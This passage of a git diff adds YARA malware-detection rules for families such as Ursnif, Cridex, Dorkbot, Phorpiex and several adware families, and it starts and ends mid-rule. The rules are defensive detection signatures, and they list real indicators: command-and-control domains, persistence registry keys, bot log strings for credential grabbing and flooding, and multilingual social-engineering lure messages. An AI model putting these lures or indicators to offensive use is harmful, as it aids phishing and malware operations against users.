+        $hex4 = { 55 8b ec 83 e4 f8 81 ec 4c 02 00 00 53 8b ?? ?? ?? ?? ?? 56 57 33 ff c6 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 57 6a 02 e8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 83 f8 ff 0f ?? ?? ?? ?? ?? 8d ?? ?? ?? 50 ff ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? e9 ?? ?? ?? ?? 8b ?? ?? ?? 3b cf 0f ?? ?? ?? ?? ?? 3b ?? ?? ?? ?? ?? 0f ?? ?? ?? ?? ?? 33 c0 39 ?? ?? ?? 76 ?? 8b ?? ?? ?? 39 ?? ?? 0f ?? ?? ?? ?? ?? 40 3b ?? ?? ?? 72 ?? 51 e8 ?? ?? ?? ?? 89 ?? ?? ?? 3b c7 0f ?? ?? ?? ?? ?? ff ?? ?? ?? 57 68 00 04 00 00 ff ?? ?? ?? ?? ?? 8b f0 3b f7 0f ?? ?? ?? ?? ?? 8d ?? ?? ?? 50 56 e8 ?? ?? ?? ?? 56 8b f8 ff d3 85 ff 74 ?? 8b ?? ?? ?? 3b ?? ?? ?? ?? ?? 75 ?? ff ?? ff ?? ?? ?? ?? ?? 3b ?? ?? ?? ?? ?? 75 ?? 8b ?? 50 a1 ?? ?? ?? ?? 8b ?? e8 ?? ?? ?? ?? 85 c0 75 ?? 8b ?? ?? ?? 8d ?? ?? ?? ?? ?? ?? 50 8d ?? ?? ?? e8 ?? ?? ?? ?? 84 c0 74 ?? 8b ?? ?? ?? 8b ?? ?? ?? 8b ?? ?? ?? ff ?? ?? ?? ff ?? ?? ?? ff ?? ?? ?? 89 ?? ?? ff ?? ?? ?? e8 ?? ?? ?? ?? 84 c0 74 ?? c6 ?? ?? ?? ?? 57 e8 ?? ?? ?? ?? 33 ff ff ?? ?? ?? ff d3 8d ?? ?? ?? 50 ff ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? ff ?? ?? ?? ff d3 39 ?? ?? ?? 0f ?? ?? ?? ?? ?? ff ?? ?? ?? e8 ?? ?? ?? ?? 8a ?? ?? ?? 5f 5e 5b 8b e5 5d c3}
+
+
+	condition:
+		(3 of them) or (any of ($hex*))
+}
diff --git a/yara-mikesxrs/g00dv1n/TrojanSpy.Ursnif.yar b/yara-mikesxrs/g00dv1n/TrojanSpy.Ursnif.yar
new file mode 100644
index 0000000..2d2b35b
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/TrojanSpy.Ursnif.yar
@@ -0,0 +1,33 @@
+rule TrojanSpyWin32UrsnifASample
+{
+	meta:
+		Description  = "Trojan.Ursnif.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "CreateProcessNotify" ascii wide
+		$ = "rundll32" ascii wide
+		$ = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls" ascii wide
+		$ = "iexplore.exe" ascii wide
+		$ = "firefox.exe" ascii wide
+		$ = "Software\\AppDataLow\\Software\\Microsoft\\Internet Explorer\\Security\\AntiPhishing" ascii wide
+		$ = "/UPD" ascii wide
+		$ = "/sd %lu" ascii wide
+		$ = "%lu.bat" ascii wide
+		$ = "attrib -r -s -h %%1" ascii wide
+		$ = "S:(ML;;NW;;;LW)" ascii wide
+		$ = "D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)" ascii wide
+		$ = "%lu.exe" ascii wide                                                                                                                                                         
+		$ = "mashevserv.com" ascii wide                                                                       
+		$ = "ericpotic.com" ascii wide                                                                                                                                                                                                                             
+		$ = "version=%u&user=%x%x%x%x&server=%u&id=%u&crc=%x&aid=%u" ascii wide                                                                                                       
+		$ = "CHROME.DLL" ascii wide                                                                                                                                                                                                                                   
+		$ = "chrome.exe" ascii wide                                                                            
+		$ = "opera.exe"  ascii wide                                                                            
+		$ = "safari.exe" ascii wide                                                                            
+		$ = "explorer.exe" ascii wide
+
+	condition:
+		6 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Virus.Chir.yar b/yara-mikesxrs/g00dv1n/Virus.Chir.yar
new file mode 100644
index 0000000..9c6c2f9
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Virus.Chir.yar
@@ -0,0 +1,14 @@
+rule ChirBSample
+{
+    meta:
+        Description = "Virus.Chir.B.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "runouce.exe" ascii wide
+        $ = "imissyou@btamail.net.cn" ascii wide
+        $ = "ChineseHacker-2" ascii wide
+
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Virus.Madang.yar b/yara-mikesxrs/g00dv1n/Virus.Madang.yar
new file mode 100644
index 0000000..3280bcb
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Virus.Madang.yar
@@ -0,0 +1,12 @@
+rule FileVirusWin32MaganASample
+{
+	meta:
+		Description  = "Virus.Madang.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$hex_string = { 60 78 ?? 79 ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? ?? e8 ?? ?? ?? ?? 61 78 ?? 79 ?? ?? 68 ?? ?? ?? ?? C3 }
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Worm.Cridex.yar b/yara-mikesxrs/g00dv1n/Worm.Cridex.yar
new file mode 100644
index 0000000..4e214b6
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Worm.Cridex.yar
@@ -0,0 +1,21 @@
+rule WormWin32CridexSamlpeE
+{
+	meta:
+		Description  = "Worm.Cridex.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "Software\\Microsoft\\Windows NT\\C%08X" ascii wide   
+		$ = "<server><![CDATA[%%u.%%u.%%u.%%u:%%u]]>" ascii wide
+		$ = "KB%08d.exe" ascii wide
+		$ = "Local\\XME%08X" ascii wide
+		$ = "Local\\XMM%08X" ascii wide
+		$ = "Local\\XMI%08X" ascii wide
+		$ = "Local\\XMS%08X" ascii wide                                                                                                     
+		$ = "Local\\XMF%08X" ascii wide                                                                                                                                                                                                              
+		$ = "Local\\XMR%08X" ascii wide                                                                                                                                                                                                        
+		$ = "Local\\XMQ%08X" ascii wide                                                                                                     
+		$ = "Local\\XMB%08X" ascii wide 
+	condition:
+		2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Worm.Dorkbot.yar b/yara-mikesxrs/g00dv1n/Worm.Dorkbot.yar
new file mode 100644
index 0000000..b133eac
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Worm.Dorkbot.yar
@@ -0,0 +1,97 @@
+rule WormWin32DorkbotSamlpeA
+{
+ meta:
+  Description  = "Worm.Dorkbot.sm"
+  ThreatLevel  = "5"
+
+ strings:
+	$ = "from removing our bot file!" ascii wide
+	$ = "from moving our bot file" ascii wide
+	$ = "Message hijacked!" ascii wide
+	$ = "popgrab" ascii wide
+	$ = "ftpgrab" ascii wide
+	$ = "s.Blocked possible browser exploit pack call on URL" ascii wide
+	$ = "webroot." ascii wide
+	$ = "fortinet." ascii wide
+	$ = "virusbuster.nprotect." ascii wide
+	$ = "gdatasoftware." ascii wide
+	$ = "virus." ascii wide
+	$ = "precisesecurity." ascii wide
+	$ = "lavasoft." ascii wide
+	$ = "heck.tc" ascii wide
+	$ = "emsisoft." ascii wide
+	$ = "onlinemalwarescanner." ascii wide
+	$ = "onecare.live." ascii wide
+	$ = "f-secure." ascii wide
+	$ = "bullguard." ascii wide
+	$ = "clamav." ascii wide
+	$ = "pandasecurity." ascii wide
+	$ = "sophos." ascii wide
+	$ = "malwarebytes." ascii wide
+	$ = "sunbeltsoftware." ascii wide
+	$ = "norton." ascii wide
+	$ = "norman." ascii wide
+	$ = "mcafee." ascii wide
+	$ = "symantec" ascii wide
+	$ = "comodo." ascii wide
+	$ = "avast." ascii wide
+	$ = "avira." ascii wide
+	$ = "avg." ascii wide
+	$ = "bitdefender." ascii wide
+	$ = "eset." ascii wide
+	$ = "kaspersky." ascii wide
+	$ = "trendmicro." ascii wide
+	$ = "iseclab." ascii wide
+	$ = "virscan." ascii wide
+	$ = "garyshood." ascii wide
+	$ = "viruschief." ascii wide
+	$ = "jotti." ascii wide
+	$ = "threatexpert." ascii wide
+	$ = "novirusthanks." ascii wide
+	$ = "virustotal." ascii wide
+	$ = "you stupid cracker" ascii wide
+	$ = "ngrBot Error" ascii wide
+	$ = "Slowloris]: Finished flood on" ascii wide
+	$ = "UDP]: Finished flood on" ascii wide
+	$ = "SYN]: Finished flood on" ascii wide
+	$ = "USB]: Infected %s" ascii wide
+	$ = "MSN]: Updated MSN spread message to" ascii wide
+	$ = "MSN]: Updated MSN spread interval to" ascii wide
+	$ = "HTTP]: Updated HTTP spread message to" ascii wide
+	$ = "HTTP]: Injected value is now %s." ascii wide
+	$ = "HTTP]: Updated HTTP spread interval to" ascii wide
+	$ = "Visit]: Visited" ascii wide
+	$ = "DNS]: Blocked" ascii wide
+	$ = "RSOCK4]: Started rsock4" ascii wide
+	$ = "Visit]: Error visitng" ascii wide
+	$ = "FTP Login]: %s" ascii wide
+	$ = "POP3 Login]: %s" ascii wide
+	$ = "FTP Infect]: %s was iframed" ascii wide
+	$ = "HTTP Login]: %s" ascii wide
+	$ = "HTTP Traffic]: %s" ascii wide
+	$ = "Ruskill]: Detected File:" ascii wide
+	$ = "Ruskill]: Detected DNS:" ascii wide
+	$ = "Ruskill]: Detected Reg:" ascii wide
+	$ = "PDef+]: %s" ascii wide
+	$ = "DNS]: Blocked DNS" ascii wide
+	$ = "MSN]: %s" ascii wide
+	$ = "HTTP]: %s" ascii wide
+ condition:
+  8 of them
+}
+
+rule WormWin32DorkbotSamlpeB
+{
+ 	meta:
+ 		Description  = "Worm.Dorkbot.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+		$ = "http://ht.ly/jZH8A?yd=" ascii wide
+		$ = "DecriptedFiles" ascii wide
+		$ = "Infected Drive: %s" ascii wide
+		$a = "snkb00pt" ascii wide
+
+ 	condition:
+ 		(3 of them) or $a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Worm.Phorpiex.yar b/yara-mikesxrs/g00dv1n/Worm.Phorpiex.yar
new file mode 100644
index 0000000..38bdc5a
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Worm.Phorpiex.yar
@@ -0,0 +1,99 @@
+rule WormWin32PhorpiexSampleM
+{
+	meta:
+		Description  = "Worm.Phorpiex.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "paltalk.exe" ascii wide
+		$ = "Xfire.exe" ascii wide
+		$ = "googletalk.exe" ascii wide
+		$ = "Skype.exe" ascii wide
+		$ = "http://goo.gl" ascii wide
+		
+		$ = "qemu" ascii wide
+		$ = "virtual" ascii wide
+		$ = "vmware" ascii wide
+		$ = "%s\\winsvcon.txt" ascii wide
+		$ = "%s\\rmrf%i%i%i%i.bat" ascii wide
+		$ = "%s%s.txt" ascii wide
+		$ = "%s%s.zip" ascii wide
+		$ = "IMG%s-JPG.scr" ascii wide
+		$ = "Microsoft Windows Manager" ascii wide
+		$ = "winbtc.exe" ascii wide
+		$ = "winmgr.exe" ascii wide
+		$ = "winraz.exe" ascii wide
+		$ = "winsam.exe" ascii wide
+		$ = "winsvc.exe" ascii wide
+		$ = "winsvn.exe" ascii wide
+		$ = ".exe" ascii wide
+		$ = ".bat" ascii wide
+		$ = ".vbs" ascii wide
+		$ = ".pif" ascii wide
+		$ = ".cmd" ascii wide
+		$ = "%s\\autorun.inf" ascii wide
+		
+		$ = "ti piace la foto?" ascii wide
+		$ = "hai visto questa foto?" ascii wide
+		$ = "la foto e grandiosa!" ascii wide
+		$ = "ti ricordi la Foto?" ascii wide
+		$ = "conosci la persona in questa foto?" ascii wide
+		$ = "chi e in questa foto?" ascii wide
+		$ = "nu imi mai voi face niciodat poze!! toate ies urate ca asta." ascii wide
+		$ = "spune-mi ce crezi despre poza asta." ascii wide
+		$ = "asta e ce-a mai funny poza! tu ce zici?" ascii wide
+		$ = "zimi ce crezi despre poza asta?" ascii wide
+		$ = "pogled na ovu sliku" ascii wide
+		$ = "bu resmi bakmak" ascii wide
+		$ = "pozri sa na tento obr" ascii wide
+		$ = "pogled na to sliko" ascii wide
+		$ = "vaata seda pilti" ascii wide
+		$ = "spojrzec na to zdjecie" ascii wide
+		$ = "Ieskatieties " ascii wide
+		$ = "kyk na hierdie foto" ascii wide
+		$ = "tell me what you think of this picture i edited" ascii wide
+		$ = "this is the funniest photo ever!" ascii wide
+		$ = "tell me what you think of this photo" ascii wide
+		$ = "i don't think i will ever sleep again after seeing this photo" ascii wide
+		$ = "i cant believe i still have this picture" ascii wide
+		$ = "should i make this my default picture?" ascii wide
+		$ = "ken je dat foto nog?" ascii wide
+		$ = "kijk wat voor een foto ik heb gevonden" ascii wide
+		$ = "ik hoop dat jij het net bent op dit foto" ascii wide
+		$ = "ben jij dat op dit foto?" ascii wide
+		$ = "dit foto zal je echt eens bekijken!" ascii wide
+		$ = "ken je dit foto al?" ascii wide
+		$ = "olhar para esta foto" ascii wide
+		$ = "devrais-je mettre cette photo de profile?" ascii wide
+		$ = "c'est la photo la plus marrante!" ascii wide
+		$ = "dis moi ce que tu pense de cette photo de moi?" ascii wide
+		$ = "mes parents vont me tu" ascii wide
+		$ = "creo que no voy a poder dormir m" ascii wide
+		$ = "esta foto es gracios" ascii wide
+		$ = "mis padres me van a matar si ven esta foto mia, que decis?" ascii wide
+		$ = "mira como saliste en esta foto jajaja" ascii wide
+		$ = "wie findest du das foto?" ascii wide
+		$ = "hab ich dir das foto schon gezeigt?" ascii wide
+		$ = "schau mal welches foto ich gefunden hab" ascii wide
+		$ = "bist du das auf dem foto?" ascii wide
+		$ = "kennst du das foto schon?" ascii wide
+		$ = "I cant believe I still have this picture" ascii wide 
+		$ = "I love your picture!" ascii wide 
+		$ = "Is this you??" ascii wide 
+		$ = "Picture of you???" ascii wide 
+		$ = "Should I upload this picture on facebook?" ascii wide
+		$ = "Someone showed me your picture" ascii wide 
+		$ = "Someone told me it's your picture" ascii wide 
+		$ = "Take a look at my new picture please" ascii wide 
+		$ = "Tell me what you think of this picture" ascii wide 
+		$ = "This is the funniest picture ever!" ascii wide 
+		$ = "What do you think of my new hair" ascii wide 
+		$ = "What you think of my new hair color?" ascii wide 
+		$ = "What you think of this picture?" ascii wide 
+		$ = "You look so beautiful on this picture" ascii wide 
+		$ = "You should take a look at this picture" ascii wide 
+		$ = "Your photo isn't really that great" ascii wide
+
+	condition:
+		5 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Worm.SillyP2P.yar b/yara-mikesxrs/g00dv1n/Worm.SillyP2P.yar
new file mode 100644
index 0000000..1bdcd66
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Worm.SillyP2P.yar
@@ -0,0 +1,19 @@
+rule WormWin32SillyP2PSampleH
+{
+	meta:
+		Description  = "Worm.Silly.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "95BC789A" ascii wide
+		$ = "svchosts.exe" ascii wide
+		$ = "Failed to start dl thread." ascii wide
+		$ = "wo8T#$>X&D" ascii wide
+
+		$hex0 = { 55 8b ec 81 ec 8c 06 00 00 56 57 83 ?? ?? ?? ?? ?? ?? 8b ?? ?? b9 a5 00 00 00 8d ?? ?? ?? ?? ?? f3 ?? 68 04 01 00 00 8d ?? ?? ?? ?? ?? 50 68 68 42 40 00 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 6a 00 68 60 42 40 00 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 68 58 42 40 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 59 83 ?? ?? ?? ?? ?? ?? 74 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? eb ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 68 38 42 40 00 68 ff 01 00 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 14 8d ?? ?? ?? ?? ?? 50 8d ?? ?? ?? ?? ?? 50 6a 06 ff ?? ?? e8 ?? ?? ?? ?? 83 c4 10 68 00 02 00 00 6a 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? eb ?? 68 64 41 40 00 68 28 42 40 00 68 ff 01 00 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 10 eb ?? 8d ?? ?? ?? ?? ?? 50 68 0c 42 40 00 68 ff 01 00 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 10 eb ?? 68 f0 41 40 00 68 ff 01 00 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c eb ?? 68 c4 41 40 00 68 ff 01 00 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 8d ?? ?? ?? ?? ?? 50 8d ?? ?? ?? ?? ?? 50 6a 06 ff ?? ?? e8 ?? ?? ?? ?? 83 c4 10 68 00 02 00 00 6a 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 83 ?? ?? ?? ?? ?? ?? 75 ?? ff ?? ?? ?? ?? ?? 6a 00 ff ?? ?? ?? ?? ?? ff ?? ?? e8 ?? ?? ?? ?? 59 6a 00 ff ?? ?? ?? ?? ??}
+		$hex1 = { 55 8b ec 81 ec 14 03 00 00 57 80 ?? ?? ?? ?? ?? ?? 6a 40 59 33 c0 8d ?? ?? ?? ?? ?? f3 ?? 66 ?? aa 80 ?? ?? ?? ?? ?? ?? 6a 40 59 33 c0 8d ?? ?? ?? ?? ?? f3 ?? 66 ?? aa 6a 03 8d ?? ?? ?? ?? ?? 50 6a 00 ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 80 ?? ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 83 f8 02 75 ?? 6a 05 6a 00 8d ?? ?? ?? ?? ?? 50 68 48 41 40 00 68 40 41 40 00 6a 00 ff ?? ?? ?? ?? ?? 68 54 40 40 00 e8 ?? ?? ?? ?? 59 50 68 54 40 40 00 e8 ?? ?? ?? ?? 59 59 68 90 01 00 00 ff ?? ?? ?? ?? ?? 68 6c 40 40 00 6a 00 6a 00 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 3d b7 00 00 00 75 ?? 6a 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 89 ?? ?? 68 34 41 40 00 ff ?? ?? e8 ?? ?? ?? ?? 59 59 85 c0 74 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? a0 ?? ?? ?? ?? 88 ?? ?? 8d ?? ?? 50 e8 ?? ?? ?? ??}
+		$hex2 = { 55 8b ec 81 ec 10 03 00 00 83 ?? ?? ?? ?? ?? ?? 68 04 01 00 00 8d ?? ?? ?? ?? ?? 50 6a 00 ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 68 04 01 00 00 8d ?? ?? ?? ?? ?? 50 68 78 40 40 00 ff ?? ?? ?? ?? ?? 68 84 40 40 00 8d ?? ?? ?? ?? ?? 50 68 74 42 40 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 10 68 84 40 40 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 59 85 c0 0f ?? ?? ?? ?? ?? 6a 00 8d ?? ?? ?? ?? ?? 50 6a 00 68 3f 00 0f 00 6a 00 6a 00 6a 00 68 c0 42 40 00 68 01 00 00 80 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 50 8d ?? ?? ?? ?? ?? 50 6a 01 6a 00 68 94 40 40 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 6a 00 8d ?? ?? ?? ?? ?? 50 6a 00 68 3f 00 0f 00 6a 00 6a 00 6a 00 68 c0 42 40 00 68 02 00 00 80 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 50 8d ?? ?? ?? ?? ?? 50 6a 01 6a 00 68 94 40 40 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 6a 00 8d ?? ?? ?? ?? ?? 50 6a 00 68 3f 00 0f 00 6a 00 6a 00 6a 00 68 7c 42 40 00 68 02 00 00 80 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 50 8d ?? ?? ?? ?? ?? 50 6a 01 6a 00 68 94 40 40 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 34 41 40 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 59 59 0f b6 c0 85 c0 74 ?? 68 c8 00 00 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 6a 00 ff ?? ?? ?? ?? ?? 6a 00 ff ?? ?? ?? ?? ?? c9 c3}
+
+	condition:
+		(3 of them) or (any of ($hex*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Worm.SkypeSpamer.yar b/yara-mikesxrs/g00dv1n/Worm.SkypeSpamer.yar
new file mode 100644
index 0000000..115935a
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Worm.SkypeSpamer.yar
@@ -0,0 +1,13 @@
+rule WormSkypeMsgSpamerSample
+{
+	meta:
+		Description  = "Worm.SkypeSpamer.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$code = { 6A FF 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 81 EC ?? ?? ?? ?? 53 55 56 57 33 DB 68 ?? ?? ?? ?? 88 5C 24 17 E8 ?? ?? ?? ?? 83 C4 04 85 C0 75 34 68 96 00 00 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 83 F8 01 75 10 E8 ?? ?? ?? ?? 3C 01 75 23 53 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 }
+		$a = "Skype.exe" ascii wide
+		$b = "msnmsgr.exe" ascii wide
+	condition:
+		2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/g00dvin_index.yara b/yara-mikesxrs/g00dv1n/g00dvin_index.yara
new file mode 100644
index 0000000..b64a6d8
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/g00dvin_index.yara
@@ -0,0 +1,3548 @@
+rule AdwareAdGazelleSample
+{
+	meta:
+		Description  = "Adware.AdGazelle.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "D:\\popajar3" ascii wide
+		$ = "squeakychocolate" ascii wide
+		$ = "squeaky chocolate" ascii wide
+		$ = "adxloader.dll" ascii wide
+		$ = "adxloader.pdb" ascii wide
+		$ = "adxloader64.dll" ascii wide
+		$ = "adxloader64.pdb" ascii wide
+		$ = "d:\\Products\\ADX.IE.8" ascii wide
+
+	condition:
+		any of them
+}rule AdwareAdpeakSample
+{
+	meta:
+		Description  = "Adware.Adpeak.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "dealcabby.dll" ascii wide
+		$ = "getsavin.dll" ascii wide
+
+	condition:
+		any of them
+}rule AdwarePricePeepSample
+{
+	meta:
+		Description  = "Adware.PricePeep.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "BrandedUpdater" ascii wide
+		$ = "default_browser" ascii wide
+		$ = "LaunchDefaultBrowser" ascii wide
+		$ = "LaunchBrowser" ascii wide
+
+		$a1 = "InstallUtil.pdb" ascii wide
+		$a2 = "C:\\managed\\root\\VTG_" ascii wide
+		$a3 = "InstallUtil.pdb" ascii wide
+		$a4 = "BrandedUpdater.pdb" ascii wide
+		//$a5 = "PricePeep" ascii wide
+		$a6 = "InstallUtil.cpp" ascii wide
+		$a7 = "BrandedUpdater.cpp" ascii wide
+
+	condition:
+		(3 of them) or (any of ($a*))
+}rule BetterSurfASample
+{
+    meta:
+        Description = "Adware.BetterSurf.A.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $n1 = "Media Buzz" ascii wide
+        $n2 = "MediaBuzz" ascii wide
+
+        //$script1 = "document.getElementById('wsu_js" ascii wide
+        //$script2 = "script.setAttribute('id','wsu_js" ascii wide
+
+    condition:
+       all of ($n*)
+}rule AdwareBrowseFoxSample
+{
+	meta:
+		Description  = "Adware.BrowseFox.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$a2 = ".expextdll.dll" ascii wide
+		$a3 = ".IEUpdate.pdb" ascii wide
+		$a4 = ".Repmon.dll" ascii wide
+		$a5 = ".BRT.Helper.exe" ascii wide
+		$a6 = ".BrowserAdapter.pdb" ascii wide
+		$a7 = ".expextdll.dll" ascii wide
+		$a8 = ".browseradapter64.exe" ascii wide
+		$a9 = ".purbrowse.exe" ascii wide
+		$a10 = "BrowserFilter.exe" ascii wide
+		$a11 = ".Bromon.dll" ascii wide
+		$a12 = ".OfSvc.dll" ascii wide
+		$a13 = ".GCUpdate.dll" ascii wide
+		$a14 = ".BroStats.dll" ascii wide
+		$a15 = ".BOAS.dll" ascii wide
+		$a16 = ".BrowserAdapterS.dll" ascii wide
+		$a17 = ".PurBrowse64.exe" ascii wide
+
+		$b1 = "system32\\drivers\\%s.sys" ascii wide
+		$b2 = "FilterApp" ascii wide
+
+	condition:
+		(any of ($a*)) or (all of ($b*))
+}rule ConduitASample
+{
+    meta:
+        Description = "Adware.Conduit.A.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "GetSpeedBrowserInstalled" ascii wide
+		$ = "SpeedBrowserAlreadyInstalled" ascii wide
+		$ = "Injekt SVN - client" ascii wide
+
+    condition:
+        any of them
+}
+
+rule ConduitBSample
+{
+    meta:
+        Description = "Adware.Conduit.B.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "CAboutTabsInjector_" ascii wide
+        $ = "AboutTabsDataUrlPublisher" ascii wide
+        $ = "AboutTabsDataUrlConduit" ascii wide
+        $ = "AboutTabsUsageUrl" ascii wide
+        $ = "AboutTabsEnabledByUser" ascii wide
+        $ = "AboutTabsEnabledByConduit" ascii wide
+        $ = "AboutTabsEnabledByPublisher" ascii wide
+        $ = "SearchInNewTabContent.xml" ascii wide
+        $ = "CONDUIT_CHEVRON_MUTEX" ascii wide
+        $ = "CConduitExternalForTBAPI" ascii wide
+        $ = "EI_Toolbar_Update_Mutex" ascii wide
+
+    condition:
+        any of them
+}rule AdwareConvertAdSample
+{
+	meta:
+		Description  = "Adware.ConvertAd.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "http://download-servers.com/SysInfo/adrouteservice/adrouter.php" ascii wide
+		$ = "ConvertAd.html" ascii wide
+		$ = "ConvertAd.exe" ascii wide
+
+	condition:
+		any of them
+}rule AdwareCrossriderSampleA
+{
+	meta:
+		Description  = "Adware.Crossrider.A.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "-bho.dll" ascii wide
+		$ = "-bho64.dll" ascii wide
+		$ = "-buttonutil64.dll" ascii wide
+		$ = "-buttonutil.dll" ascii wide
+		$ = "-BrowserEventSandBox" ascii wide
+		$ = "CrossriderApp" ascii wide
+		$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe" ascii wide
+		$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe" ascii wide
+		$ = "IEInject_Win32.dll" ascii wide
+		$ = "bg_debug.js" ascii wide
+		$ = "new_debug.js" ascii wide
+		$ = "Browser Process id" ascii wide
+		$ = "BHO Process id" ascii wide
+		$ = "BhoRunningVersion" ascii wide
+		$ = "-nova64.dll" ascii wide
+
+		$str1 = "crossrider-buttonutil.pdb" ascii wide
+		$str2 = "AVCCrossriderButtonHelper" ascii wide
+		$str3 = "AVCCrossRiderLogger" ascii wide
+		$str5 = "AddCrossRiderSearchProvider" ascii wide
+		$str6 = "C:\\BUILD_AVZR2\\WhiteRabbit" ascii wide
+		$str7 = "CrossriderBHO" ascii wide
+		$str8 = "215AppVerifier" ascii wide
+		$str9 = "Crossrider BHO Version" ascii wide
+		$str10 = "brightcircleinvestments.com" ascii wide
+		$str11 = "CrossriderNotification.pdb" ascii wide
+		$str12 = "C:\\Users\\cross\\Desktop\\compilation_bot_area" ascii wide
+	condition:
+		(3 of them) or (any of ($str*))
+}
+
+rule AdwareCrossriderSampleB
+{
+	meta:
+		Description  = "Adware.Crossrider.B.vb"
+		ThreatLevel  = "5"
+
